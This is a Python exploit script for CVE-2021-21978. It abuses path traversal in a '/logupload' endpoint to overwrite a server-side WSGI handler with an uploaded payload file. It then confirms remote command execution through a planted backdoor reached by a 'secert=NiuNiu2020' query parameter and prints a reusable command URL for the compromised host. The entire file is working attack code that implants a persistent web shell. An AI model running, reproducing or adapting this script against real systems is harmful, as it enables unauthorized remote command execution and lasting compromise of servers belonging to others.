# -*- coding: utf-8 -*- 
# @Time : 2021/3/5 下午1:38 
# @Author : skytina 
# @File : CVE-2021-21978.py

import requests,json,sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit(url):
    payload_fname = 'upload.txt'
    logMetaData = {
        "itrLogPath":"../../../../../../etc/httpd/html/wsgi_log_upload",
        "logFileType":"log_upload_wsgi.py",
        "workloadID":"2"
    }
    vul_path = '/logupload?logMetaData={logMetaData}'.format(
                logMetaData=json.dumps(logMetaData)
    )
    # with open('./upload.txt','r') as f:
    #     with open(payload_fname,'w+') as wf:
    #         command_to_execute = "{command} > /etc/httpd/html/logs/.debug.log"\
    #             .format(command=command)
    #         content = f.read()
    #         content_w = content.replace(
    #             "{command_to_execute}",command_to_execute
    #         )
    #         wf.write(content_w)
    req_url = "{url}{vul_path}".format(
        url = url,
        vul_path = vul_path
    )
    files = {
        "logfile":open(payload_fname,"r")
    }
    try:
        r = requests.post(req_url,files=files,verify=False)
        #print(r.content.decode())
        cmd_r = cmd(url,'echo "NiuNiu2020" |base64')
        #print(cmd_r)
        if "Tml1Tml1MjAyMAo=" in str(cmd_r):
            return True
        else:
            return False
    except Exception as e:
        print(str(e))
        return False

def cmd(url,command):
    cmd_url = "{url}/logupload?secert=NiuNiu2020&command={command}".format(
        url=url,
        command=command
    )
    try:
        resp = requests.get(cmd_url,verify=False)
        return resp.content.decode()
    except Exception as e:
        return str(e)


def usage():
    help = "[*] python3 CVE-2021-21978.py url\n\tpython3 CVE-2021-21978.py https://192.168.80.3"
    print(help)

#exploit('https://192.168.80.3','whoami')
if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
    else:
        url = sys.argv[1]
        if url.startswith("http://") or url.startswith("https"):
            if exploit(url):
                cmd_url = "{url}/logupload?secert=NiuNiu2020&command={command}".format(
                        url=url,
                        command="command"
                    )
                outmsg = "[*]{url} is vulnerable\n[*]You can execute command like This: {cmd_url}".format(
                        url = url,
                        cmd_url=cmd_url
                )
                print(outmsg)
        else:
            usage()